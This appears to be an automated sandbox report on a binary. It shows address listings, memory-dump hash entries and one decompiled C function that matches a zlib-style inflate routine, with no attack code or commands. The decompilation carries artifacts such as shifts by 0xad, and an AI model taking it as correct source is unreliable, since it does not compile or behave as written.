                                                                                                                                                                                          0x00408412
                                                                                                                                                                                          0x00408414
                                                                                                                                                                                          0x00408415
                                                                                                                                                                                          0x00408418
                                                                                                                                                                                          0x00408419
                                                                                                                                                                                          0x0040841b
                                                                                                                                                                                          0x00408422
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408422
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408404
                                                                                                                                                                                          0x00408402
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040845e
                                                                                                                                                                                          0x00408463
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408469
                                                                                                                                                                                          0x00408469
                                                                                                                                                                                          0x0040846d
                                                                                                                                                                                          0x00408471
                                                                                                                                                                                          0x00408476
                                                                                                                                                                                          0x004084b4
                                                                                                                                                                                          0x004084b8
                                                                                                                                                                                          0x004084ba
                                                                                                                                                                                          0x004084bd
                                                                                                                                                                                          0x004084c1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408478
                                                                                                                                                                                          0x00408478
                                                                                                                                                                                          0x0040847a
                                                                                                                                                                                          0x0040847d
                                                                                                                                                                                          0x00408483
                                                                                                                                                                                          0x00408498
                                                                                                                                                                                          0x0040849a
                                                                                                                                                                                          0x0040849d
                                                                                                                                                                                          0x00408485
                                                                                                                                                                                          0x00408485
                                                                                                                                                                                          0x0040848a
                                                                                                                                                                                          0x0040848d
                                                                                                                                                                                          0x00408491
                                                                                                                                                                                          0x00408491
                                                                                                                                                                                          0x004084a1
                                                                                                                                                                                          0x004084a5
                                                                                                                                                                                          0x004084a8
                                                                                                                                                                                          0x004084ae
                                                                                                                                                                                          0x004084b0
                                                                                                                                                                                          0x004084c5
                                                                                                                                                                                          0x004084c5
                                                                                                                                                                                          0x004084c5
                                                                                                                                                                                          0x004084ae
                                                                                                                                                                                          0x004084c9
                                                                                                                                                                                          0x004084cf
                                                                                                                                                                                          0x004084d1
                                                                                                                                                                                          0x004084d3
                                                                                                                                                                                          0x004084d3
                                                                                                                                                                                          0x004084d9
                                                                                                                                                                                          0x004084dd
                                                                                                                                                                                          0x004084e1
                                                                                                                                                                                          0x004084e3
                                                                                                                                                                                          0x004084e7
                                                                                                                                                                                          0x004084f0
                                                                                                                                                                                          0x004084f0
                                                                                                                                                                                          0x004084f4
                                                                                                                                                                                          0x004084f6
                                                                                                                                                                                          0x004084fa
                                                                                                                                                                                          0x004084fc
                                                                                                                                                                                          0x004084fd
                                                                                                                                                                                          0x004084fd
                                                                                                                                                                                          0x004084fd
                                                                                                                                                                                          0x00408508
                                                                                                                                                                                          0x0040850c
                                                                                                                                                                                          0x00408512
                                                                                                                                                                                          0x00408512
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040850c
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408522
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408528
                                                                                                                                                                                          0x00408528
                                                                                                                                                                                          0x0040852c
                                                                                                                                                                                          0x0040852f
                                                                                                                                                                                          0x00408531
                                                                                                                                                                                          0x00408532
                                                                                                                                                                                          0x00408536
                                                                                                                                                                                          0x0040853a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040853a
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408549
                                                                                                                                                                                          0x00408606
                                                                                                                                                                                          0x00408606
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040854f
                                                                                                                                                                                          0x00408552
                                                                                                                                                                                          0x00408574
                                                                                                                                                                                          0x00408574
                                                                                                                                                                                          0x00408578
                                                                                                                                                                                          0x0040857c
                                                                                                                                                                                          0x00408580
                                                                                                                                                                                          0x00408583
                                                                                                                                                                                          0x00408586
                                                                                                                                                                                          0x0040858c
                                                                                                                                                                                          0x0040858e
                                                                                                                                                                                          0x00408592
                                                                                                                                                                                          0x00408595
                                                                                                                                                                                          0x0040859c
                                                                                                                                                                                          0x0040859d
                                                                                                                                                                                          0x0040859e
                                                                                                                                                                                          0x004085a7
                                                                                                                                                                                          0x004085a0
                                                                                                                                                                                          0x004085a0
                                                                                                                                                                                          0x004085a0
                                                                                                                                                                                          0x004085ac
                                                                                                                                                                                          0x004085b0
                                                                                                                                                                                          0x004085b4
                                                                                                                                                                                          0x004085b7
                                                                                                                                                                                          0x004085ba
                                                                                                                                                                                          0x004085ba
                                                                                                                                                                                          0x004085c1
                                                                                                                                                                                          0x004085c5
                                                                                                                                                                                          0x004085c9
                                                                                                                                                                                          0x004085cb
                                                                                                                                                                                          0x004085cd
                                                                                                                                                                                          0x004085d4
                                                                                                                                                                                          0x004085d7
                                                                                                                                                                                          0x004085db
                                                                                                                                                                                          0x004085de
                                                                                                                                                                                          0x004085e4
                                                                                                                                                                                          0x004085e7
                                                                                                                                                                                          0x004085eb
                                                                                                                                                                                          0x004085ee
                                                                                                                                                                                          0x004085ee
                                                                                                                                                                                          0x004085f3
                                                                                                                                                                                          0x00408602
                                                                                                                                                                                          0x00408604
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004085f5
                                                                                                                                                                                          0x004085f5
                                                                                                                                                                                          0x004085f9
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004085f9
                                                                                                                                                                                          0x00408554
                                                                                                                                                                                          0x00408554
                                                                                                                                                                                          0x0040855c
                                                                                                                                                                                          0x00408560
                                                                                                                                                                                          0x00408562
                                                                                                                                                                                          0x00408564
                                                                                                                                                                                          0x00408565
                                                                                                                                                                                          0x00408568
                                                                                                                                                                                          0x00408569
                                                                                                                                                                                          0x0040856b
                                                                                                                                                                                          0x00408572
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408572
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408554
                                                                                                                                                                                          0x00408552
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040860c
                                                                                                                                                                                          0x00408610
                                                                                                                                                                                          0x004086a1
                                                                                                                                                                                          0x004086a1
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408620
                                                                                                                                                                                          0x00408623
                                                                                                                                                                                          0x00408645
                                                                                                                                                                                          0x00408648
                                                                                                                                                                                          0x0040869d
                                                                                                                                                                                          0x0040869f
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040864a
                                                                                                                                                                                          0x0040864a
                                                                                                                                                                                          0x0040864e
                                                                                                                                                                                          0x00408655
                                                                                                                                                                                          0x00408655
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408655
                                                                                                                                                                                          0x00408625
                                                                                                                                                                                          0x00408625
                                                                                                                                                                                          0x0040862d
                                                                                                                                                                                          0x00408631
                                                                                                                                                                                          0x00408633
                                                                                                                                                                                          0x00408635
                                                                                                                                                                                          0x00408636
                                                                                                                                                                                          0x00408639
                                                                                                                                                                                          0x0040863a
                                                                                                                                                                                          0x0040863c
                                                                                                                                                                                          0x00408643
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408643
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408625
                                                                                                                                                                                          0x00408623
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004086a7
                                                                                                                                                                                          0x004086a7
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004086b1
                                                                                                                                                                                          0x004086b9
                                                                                                                                                                                          0x004086b9
                                                                                                                                                                                          0x004086c1
                                                                                                                                                                                          0x004086c8
                                                                                                                                                                                          0x004086cb
                                                                                                                                                                                          0x004086cd
                                                                                                                                                                                          0x004086d4
                                                                                                                                                                                          0x004086d7
                                                                                                                                                                                          0x004086da
                                                                                                                                                                                          0x004086f9
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004086fb
                                                                                                                                                                                          0x004086fb
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x004086fb
                                                                                                                                                                                          0x0040870e
                                                                                                                                                                                          0x0040870e
                                                                                                                                                                                          0x0040870e
                                                                                                                                                                                          0x00408716
                                                                                                                                                                                          0x0040871d
                                                                                                                                                                                          0x00408720
                                                                                                                                                                                          0x00408723
                                                                                                                                                                                          0x00408726
                                                                                                                                                                                          0x0040872d
                                                                                                                                                                                          0x00408737
                                                                                                                                                                                          0x00408738
                                                                                                                                                                                          0x00408753
                                                                                                                                                                                          0x00408754
                                                                                                                                                                                          0x00408755
                                                                                                                                                                                          0x0040873a
                                                                                                                                                                                          0x00408742
                                                                                                                                                                                          0x00408743
                                                                                                                                                                                          0x00408744
                                                                                                                                                                                          0x00408744
                                                                                                                                                                                          0x0040875a
                                                                                                                                                                                          0x0040875d
                                                                                                                                                                                          0x00408760
                                                                                                                                                                                          0x00408760
                                                                                                                                                                                          0x00408768
                                                                                                                                                                                          0x00408780
                                                                                                                                                                                          0x00408785
                                                                                                                                                                                          0x00408790
                                                                                                                                                                                          0x004087b6
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408792
                                                                                                                                                                                          0x00408792
                                                                                                                                                                                          0x00408792
                                                                                                                                                                                          0x00408798
                                                                                                                                                                                          0x0040866b
                                                                                                                                                                                          0x00408672
                                                                                                                                                                                          0x0040879e
                                                                                                                                                                                          0x004087aa
                                                                                                                                                                                          0x004087aa
                                                                                                                                                                                          0x00408798
                                                                                                                                                                                          0x00408785
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00408701
                                                                                                                                                                                          0x0040870d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x0040865b
                                                                                                                                                                                          0x0040865b
                                                                                                                                                                                          0x0040865d
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407420
                                                                                                                                                                                          0x00407414
                                                                                                                                                                                          0x004073b5
                                                                                                                                                                                          0x00000000

                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.379749600.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                          • Associated: 00000000.00000002.379781701.0000000000426000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          • Associated: 00000000.00000002.379797667.0000000000432000.00000040.00020000.sdmp Download File
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 20055dc05f39624d89f9d13173d00032c9ddb5f23ed3028259e70998ae7a08b4
                                                                                                                                                                                          • Instruction ID: 17d22deff8d32e931318445bbea846c6b698fa6fcc44f6923348d96d7e24b863
                                                                                                                                                                                          • Opcode Fuzzy Hash: 20055dc05f39624d89f9d13173d00032c9ddb5f23ed3028259e70998ae7a08b4
                                                                                                                                                                                          • Instruction Fuzzy Hash: 0A329E70A087029FD318CF29C98472AB7E1BF84304F148A3EE89567781D779E955CBDA
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 008177C2, Relevance: .4, Instructions: 419COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 53fd915c455bc613e875872949079b38185adfdf937e690afefee85b57ad4f6d
                                                                                                                                                                                          • Instruction ID: 30542650a940eabe39aaa33c03dad04bed07c0867c14af5c7c85555fa2023c1a
                                                                                                                                                                                          • Opcode Fuzzy Hash: 53fd915c455bc613e875872949079b38185adfdf937e690afefee85b57ad4f6d
                                                                                                                                                                                          • Instruction Fuzzy Hash: C9F170706087169FD308CF29C494AAABBF5FF84304F148A2DE89587781D774EA95CBD2
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00816EF0, Relevance: .4, Instructions: 401COMMON
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                          • Source File: 00000000.00000002.380210040.0000000000810000.00000040.00000001.sdmp, Offset: 00810000, based on PE: false
                                                                                                                                                                                          Similarity
                                                                                                                                                                                          • API ID:
                                                                                                                                                                                          • String ID:
                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                          • Opcode ID: 020392db844ceed98276714fd2150c2ad4a639f6bad3fb02a1d0621011a6745a
                                                                                                                                                                                          • Instruction ID: f6a3f868e75e3a49f57e6c6d6c17fbb09a109551a4b11d46f19e1d0db0946f4f
                                                                                                                                                                                          • Opcode Fuzzy Hash: 020392db844ceed98276714fd2150c2ad4a639f6bad3fb02a1d0621011a6745a
                                                                                                                                                                                          • Instruction Fuzzy Hash: C9E1B03060C7958FC708CE28C9945A9BBE2FFC5304F18896DE8D6CB346DA75D98ACB51
                                                                                                                                                                                          Uniqueness

                                                                                                                                                                                          Uniqueness Score: -1.00%

                                                                                                                                                                                          Function 00406CA0, Relevance: .4, Instructions: 401COMMONCrypto
                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                          C-Code - Quality: 100%
                                                                                                                                                                                          			E00406CA0() {
				intOrPtr _t153;
				unsigned int _t157;
				unsigned int _t160;
				intOrPtr _t172;
				signed int _t174;
				signed char _t180;
				signed int _t181;
				void* _t183;
				void* _t185;
				void* _t186;
				void* _t187;
				void* _t188;
				intOrPtr _t190;
				unsigned int _t192;
				char _t198;
				char _t199;
				char _t202;
				unsigned int _t217;
				intOrPtr* _t221;
				intOrPtr _t222;
				signed char _t230;
				intOrPtr* _t232;
				signed char _t237;
				unsigned int _t245;
				intOrPtr _t248;
				intOrPtr _t249;
				void* _t250;
				void* _t251;
				void* _t252;
				signed char _t263;
				signed char _t269;
				signed int _t280;
				signed int _t284;
				intOrPtr _t285;
				signed char _t288;
				signed char _t290;
				unsigned int _t297;
				char _t308;
				signed int _t309;
				signed int _t310;
				signed int _t311;
				signed int _t318;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				char* _t331;
				char* _t333;
				char* _t334;
				char* _t335;
				signed char* _t337;
				void* _t341;
				unsigned int _t342;
				void* _t345;
				void* _t346;
				intOrPtr _t347;
				signed char* _t348;
				void* _t349;

				_t221 =  *((intOrPtr*)(_t349 + 0x50));
				_t153 =  *((intOrPtr*)(_t221 + 0x1c));
				_t217 =  *(_t153 + 0x38);
				_t337 =  *_t221 - 1;
				 *((intOrPtr*)(_t349 + 0x14)) =  *((intOrPtr*)(_t221 + 4)) + _t337 - 5;
				_t222 =  *((intOrPtr*)(_t221 + 0x10));
				_t331 =  *((intOrPtr*)(_t221 + 0xc)) - 1;
				 *((intOrPtr*)(_t349 + 0x38)) = _t222 -  *(_t349 + 0x54) + _t331;
				 *((intOrPtr*)(_t349 + 0x2c)) = _t222 + _t331 - 0x101;
				 *((intOrPtr*)(_t349 + 0x28)) =  *((intOrPtr*)(_t153 + 0x28));
				 *((intOrPtr*)(_t349 + 0x3c)) =  *((intOrPtr*)(_t153 + 0x2c));
				 *((intOrPtr*)(_t349 + 0x44)) =  *((intOrPtr*)(_t153 + 0x30));
				 *((intOrPtr*)(_t349 + 0x40)) =  *((intOrPtr*)(_t153 + 0x34));
				 *((intOrPtr*)(_t349 + 0x20)) =  *((intOrPtr*)(_t153 + 0x4c));
				 *((intOrPtr*)(_t349 + 0x24)) =  *((intOrPtr*)(_t153 + 0x50));
				 *((intOrPtr*)(_t349 + 0x18)) = _t153;
				_t326 =  *(_t153 + 0x3c);
				 *(_t349 + 0x54) = 1;
				_t280 = (1 <<  *(_t153 + 0x54)) - 1;
				 *(_t349 + 0x10) = _t337;
				 *(_t349 + 0x48) = 1;
				 *(_t349 + 0x30) = ( *(_t349 + 0x54) <<  *(_t153 + 0x58)) - 1;
				L1:
				while(1) {
					if(_t326 < 0xf) {
						_t174 = (_t337[1] & 0x000000ff) << _t326;
						_t337 =  &(_t337[2]);
						_t329 = _t326 + 8;
						 *(_t349 + 0x10) = _t337;
						_t217 = _t217 + _t174 + (( *_t337 & 0x000000ff) << _t329);
						_t326 = _t329 + 8;
					}
					_t157 =  *( *((intOrPtr*)(_t349 + 0x20)) + (_t280 & _t217) * 4);
					_t230 = _t157 >> 0x00000008 & 0x000000ff;
					_t284 = _t157 & 0x000000ff;
					_t217 = _t217 >> _t230;
					_t326 = _t326 - _t230;
					if(_t284 == 0) {
						L7:
						_t331 = _t331 + 1;
						 *_t331 = _t157 >> 0x10;
						L46:
						_t285 =  *((intOrPtr*)(_t349 + 0x14));
						if(_t337 >= _t285 || _t331 >=  *((intOrPtr*)(_t349 + 0x2c))) {
							L59:
							_t160 = _t326 >> 3;
							_t338 = _t337 - _t160;
							_t327 = _t326 - _t160 + _t160 + _t160 + _t160 + _t160 + _t160 + _t160 + _t160;
							_t232 =  *((intOrPtr*)(_t349 + 0x50));
							_t144 = _t338 + 1; // -1
							 *_t232 = _t144;
							 *((intOrPtr*)(_t232 + 0xc)) = _t331 + 1;
							 *((intOrPtr*)(_t232 + 0x10)) =  *((intOrPtr*)(_t349 + 0x2c)) - _t331 + 0x101;
							_t172 =  *((intOrPtr*)(_t349 + 0x18));
							 *((intOrPtr*)(_t232 + 4)) = _t285 - _t337 - _t160 + 5;
							 *(_t172 + 0x3c) = _t327;
							 *(_t172 + 0x38) = _t217 & (0x00000001 << _t327) - 0x00000001;
							return _t172;
						} else {
							_t280 =  *(_t349 + 0x48);
							continue;
						}
					}
					while((_t284 & 0x00000010) == 0) {
						if((_t284 & 0x00000040) != 0) {
							if((_t284 & 0x00000020) == 0) {
								L57:
								 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x50)) + 0x18)) = 0x41d338;
								 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x18)))) = 0x1b;
								L58:
								_t285 =  *((intOrPtr*)(_t349 + 0x14));
								goto L59;
							}
							 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x18)))) = 0xb;
							goto L58;
						}
						 *(_t349 + 0x54) = 1;
						_t157 =  *( *((intOrPtr*)(_t349 + 0x20)) + ((( *(_t349 + 0x54) << _t284) - 0x00000001 & _t217) + (_t157 >> 0x10)) * 4);
						_t269 = _t157 >> 0x00000008 & 0x000000ff;
						_t284 = _t157 & 0x000000ff;
						_t217 = _t217 >> _t269;
						_t326 = _t326 - _t269;
						if(_t284 != 0) {
							continue;
						}
						goto L7;
					}
					_t288 = _t284 & 0x0000000f;
					 *(_t349 + 0x54) = _t157 >> 0x10;
					if(_t288 != 0) {
						_t263 = _t288;
						 *(_t349 + 0x54) =  *(_t349 + 0x54) + ((0x00000001 << _t263) - 0x00000001 & _t217);
						_t217 = _t217 >> _t263;
						_t326 = _t326 - _t288;
					}
					if(_t326 < 0xf) {
						_t318 = _t337[1] & 0x000000ff;
						_t348 =  &(_t337[1]);
						_t337 =  &(_t348[1]);
						_t328 = _t326 + 8;
						 *(_t349 + 0x10) = _t337;
						_t217 = _t217 + (_t318 << _t326) + ((_t348[1] & 0x000000ff) << _t328);
						_t326 = _t328 + 8;
					}
					_t290 =  *( *((intOrPtr*)(_t349 + 0x24)) + ( *(_t349 + 0x30) & _t217) * 4);
					_t237 = _t290 >> 0x00000008 & 0x000000ff;
					_t180 = _t290 & 0x000000ff;
					_t217 = _t217 >> _t237;
					_t326 = _t326 - _t237;
					 *(_t349 + 0x1c) = _t290;
					if((_t180 & 0x00000010) != 0) {
						L17:
						_t181 = _t180 & 0x0000000f;
						 *(_t349 + 0x1c) = _t290 >> 0x10;
						if(_t326 < _t181) {
							_t309 = _t337[1] & 0x000000ff;
							_t337 =  &(_t337[1]);
							_t310 = _t309 << _t326;
							_t326 = _t326 + 8;
							 *(_t349 + 0x10) = _t337;
							_t217 = _t217 + _t310;
							if(_t326 < _t181) {
								_t311 = _t337[1] & 0x000000ff;
								_t337 =  &(_t337[1]);
								 *(_t349 + 0x10) = _t337;
								_t217 = _t217 + (_t311 << _t326);
								_t326 = _t326 + 8;
							}
						}
						_t326 = _t326 - _t181;
						_t297 =  *(_t349 + 0x1c) + ((0x00000001 << _t181) - 0x00000001 & _t217);
						_t183 = _t331 -  *((intOrPtr*)(_t349 + 0x38));
						_t217 = _t217 >> _t181;
						 *(_t349 + 0x1c) = _t297;
						if(_t297 <= _t183) {
							_t185 = _t331 - _t297;
							do {
								_t186 = _t185 + 1;
								 *((char*)(_t331 + 1)) =  *(_t185 + 1) & 0x000000ff;
								_t187 = _t186 + 1;
								_t333 = _t331 + 2;
								 *_t333 =  *((intOrPtr*)(_t186 + 1));
								_t185 = _t187 + 1;
								_t331 = _t333 + 1;
								 *_t331 =  *(_t187 + 1) & 0x000000ff;
								_t245 =  *(_t349 + 0x54) - 3;
								 *(_t349 + 0x54) = _t245;
							} while (_t245 > 2);
							if(_t245 != 0) {
								_t188 = _t185 + 1;
								_t331 = _t331 + 1;
								 *_t331 =  *(_t185 + 1);
								if(_t245 > 1) {
									_t331 = _t331 + 1;
									 *_t331 =  *((intOrPtr*)(_t188 + 1));
								}
							}
							goto L46;
						} else {
							_t341 = _t297 - _t183;
							if(_t341 >  *((intOrPtr*)(_t349 + 0x3c))) {
								_t337 =  *(_t349 + 0x10);
								 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x50)) + 0x18)) = 0x41d338;
								 *((intOrPtr*)( *((intOrPtr*)(_t349 + 0x18)))) = 0x1b;
								goto L58;
							}
							_t190 =  *((intOrPtr*)(_t349 + 0x44));
							_t248 =  *((intOrPtr*)(_t349 + 0x40)) - 1;
							 *((intOrPtr*)(_t349 + 0x34)) = _t248;
							if(_t190 != 0) {
								if(_t190 >= _t341) {
									_t249 = _t248 + _t190 - _t341;
									if(_t341 >=  *(_t349 + 0x54)) {
										L39:
										_t192 =  *(_t349 + 0x54);
										if(_t192 <= 2) {
											L42:
											_t342 =  *(_t349 + 0x54);
											if(_t342 != 0) {
												_t250 = _t249 + 1;
												_t331 = _t331 + 1;
												 *_t331 =  *(_t249 + 1);
												if(_t342 > 1) {
													_t331 = _t331 + 1;
													 *_t331 =  *((intOrPtr*)(_t250 + 1));
												}
											}
											_t337 =  *(_t349 + 0x10);
											goto L46;
										}
										_t107 = _t192 - 3; // -2
										_t345 = (0xaaaaaaab * _t107 >> 0x20 >> 1) + 1;
										do {
											 *(_t349 + 0x54) =  *(_t349 + 0x54) - 3;
											_t251 = _t249 + 1;
											_t334 = _t331 + 1;
											 *_t334 =  *(_t249 + 1) & 0x000000ff;
											_t252 = _t251 + 1;
											_t335 = _t334 + 1;
											 *_t335 =  *((intOrPtr*)(_t251 + 1));
											_t249 = _t252 + 1;
											_t331 = _t335 + 1;
											_t345 = _t345 - 1;
											 *_t331 =  *(_t252 + 1) & 0x000000ff;
										} while (_t345 != 0);
										goto L42;
									}
									 *(_t349 + 0x54) =  *(_t349 + 0x54) - _t341;
									do {
										_t198 =  *(_t249 + 1);
										_t249 = _t249 + 1;
										_t331 = _t331 + 1;
										_t341 = _t341 - 1;
										 *_t331 = _t198;
									} while (_t341 != 0);
									L38:
									_t249 = _t331 - _t297;
									goto L39;
								}
								_t346 = _t341 - _t190;
								_t249 = _t248 + _t190 - _t341 +  *((intOrPtr*)(_t349 + 0x28));
								if(_t346 >=  *(_t349 + 0x54)) {
									goto L39;
								}
								 *(_t349 + 0x54) =  *(_t349 + 0x54) - _t346;
								do {
									_t308 =  *(_t249 + 1);
									_t249 = _t249 + 1;
									_t331 = _t331 + 1;
									_t346 = _t346 - 1;
									 *_t331 = _t308;
								} while (_t346 != 0);
								_t249 =  *((intOrPtr*)(_t349 + 0x34));
								if(_t190 >=  *(_t349 + 0x54)) {
									goto L39;
								}
								 *(_t349 + 0x54) =  *(_t349 + 0x54) - _t190;
								_t347 = _t190;
								do {
									_t199 =  *(_t249 + 1);
									_t249 = _t249 + 1;
									_t331 = _t331 + 1;
									_t347 = _t347 - 1;
									 *_t331 = _t199;
								} while (_t347 != 0);
								_t249 = _t331 -  *(_t349 + 0x1c);
								goto L39;
							}
							_t249 = _t248 +  *((intOrPtr*)(_t349 + 0x28)) - _t341;
							if(_t341 >=  *(_t349 + 0x54)) {
								goto L39;
							}
							 *(_t349 + 0x54) =  *(_t349 + 0x54) - _t341;
							do {
								_t202 =  *(_t249 + 1);
								_t249 = _t249 + 1;
								_t331 = _t331 + 1;
								_t341 = _t341 - 1;
								 *_t331 = _t202;
							} while (_t341 != 0);
							goto L38;
						}
					} else {
						while((_t180 & 0x00000040) == 0) {
							_t290 =  *( *((intOrPtr*)(_t349 + 0x24)) + (((0x00000001 << _t180) - 0x00000001 & _t217) + ( *(_t349 + 0x1e) & 0x0000ffff)) * 4);
							_t180 = _t290 & 0x000000ff;
							_t217 = _t217 >> 0xad;
							_t326 = _t326 - 0xad;
							 *(_t349 + 0x1c) = 1;
							if((_t180 & 0x00000010) == 0) {
								continue;
							}
							goto L17;
						}
						goto L57;
					}
				}
			}





























































                                                                                                                                                                                          0x00406ca7
                                                                                                                                                                                          0x00406cab
                                                                                                                                                                                          0x00406cb1
                                                                                                                                                                                          0x00406cb6
                                                                                                                                                                                          0x00406cbb
                                                                                                                                                                                          0x00406cc2
                                                                                                                                                                                          0x00406ccb
                                                                                                                                                                                          0x00406cd5
                                                                                                                                                                                          0x00406cdc
                                                                                                                                                                                          0x00406ce3
                                                                                                                                                                                          0x00406cea
                                                                                                                                                                                          0x00406cf1
                                                                                                                                                                                          0x00406cf8
                                                                                                                                                                                          0x00406cff
                                                                                                                                                                                          0x00406d03
                                                                                                                                                                                          0x00406d14
                                                                                                                                                                                          0x00406d18
                                                                                                                                                                                          0x00406d1b
                                                                                                                                                                                          0x00406d29
                                                                                                                                                                                          0x00406d2a
                                                                                                                                                                                          0x00406d2e
                                                                                                                                                                                          0x00406d33
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406d37
                                                                                                                                                                                          0x00406d3a
                                                                                                                                                                                          0x00406d43
                                                                                                                                                                                          0x00406d45
                                                                                                                                                                                          0x00406d46
                                                                                                                                                                                          0x00406d53
                                                                                                                                                                                          0x00406d57
                                                                                                                                                                                          0x00406d59
                                                                                                                                                                                          0x00406d59
                                                                                                                                                                                          0x00406d62
                                                                                                                                                                                          0x00406d6a
                                                                                                                                                                                          0x00406d6d
                                                                                                                                                                                          0x00406d70
                                                                                                                                                                                          0x00406d72
                                                                                                                                                                                          0x00406d76
                                                                                                                                                                                          0x00406db9
                                                                                                                                                                                          0x00406db9
                                                                                                                                                                                          0x00406dbd
                                                                                                                                                                                          0x00406fef
                                                                                                                                                                                          0x00406fef
                                                                                                                                                                                          0x00406ff5
                                                                                                                                                                                          0x00407097
                                                                                                                                                                                          0x00407099
                                                                                                                                                                                          0x0040709c
                                                                                                                                                                                          0x004070a4
                                                                                                                                                                                          0x004070af
                                                                                                                                                                                          0x004070bb
                                                                                                                                                                                          0x004070be
                                                                                                                                                                                          0x004070c3
                                                                                                                                                                                          0x004070d1
                                                                                                                                                                                          0x004070d4
                                                                                                                                                                                          0x004070d8
                                                                                                                                                                                          0x004070db
                                                                                                                                                                                          0x004070e1
                                                                                                                                                                                          0x004070e8
                                                                                                                                                                                          0x00407005
                                                                                                                                                                                          0x00407005
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407005
                                                                                                                                                                                          0x00406ff5
                                                                                                                                                                                          0x00406d78
                                                                                                                                                                                          0x00406d80
                                                                                                                                                                                          0x00407070
                                                                                                                                                                                          0x0040707e
                                                                                                                                                                                          0x00407086
                                                                                                                                                                                          0x0040708d
                                                                                                                                                                                          0x00407093
                                                                                                                                                                                          0x00407093
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407093
                                                                                                                                                                                          0x00407076
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00407076
                                                                                                                                                                                          0x00406d8b
                                                                                                                                                                                          0x00406da3
                                                                                                                                                                                          0x00406dab
                                                                                                                                                                                          0x00406dae
                                                                                                                                                                                          0x00406db1
                                                                                                                                                                                          0x00406db3
                                                                                                                                                                                          0x00406db7
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00000000
                                                                                                                                                                                          0x00406db7
                                                                                                                                                                                          0x00406dc7
                                                                                                                                                                                          0x00406dca
                                                                                                                                                                                          0x00406dce
                                                                                                                                                                                          0x00406de6
                                                                                                                                                                                          0x00406df2
                                                                                                                                                                                          0x00406df6
                                                                                                                                                                                          0x00406df8
                                                                                                                                                                                          0x00406df8
                                                                                                                                                                                          0x00406dfd
                                                                                                                                                                                          0x00406dff
                                                                                                                                                                                          0x00406e03
                                                                                                                                                                                          0x00406e0a
                                                                                                                                                                                          0x00406e0d
                                                                                                                                                                                          0x00406e16
                                                                                                                                                                                          0x00406e1a
                                                                                                                                                                                          0x00406e1c
                                                                                                                                                                                          0x00406e1c
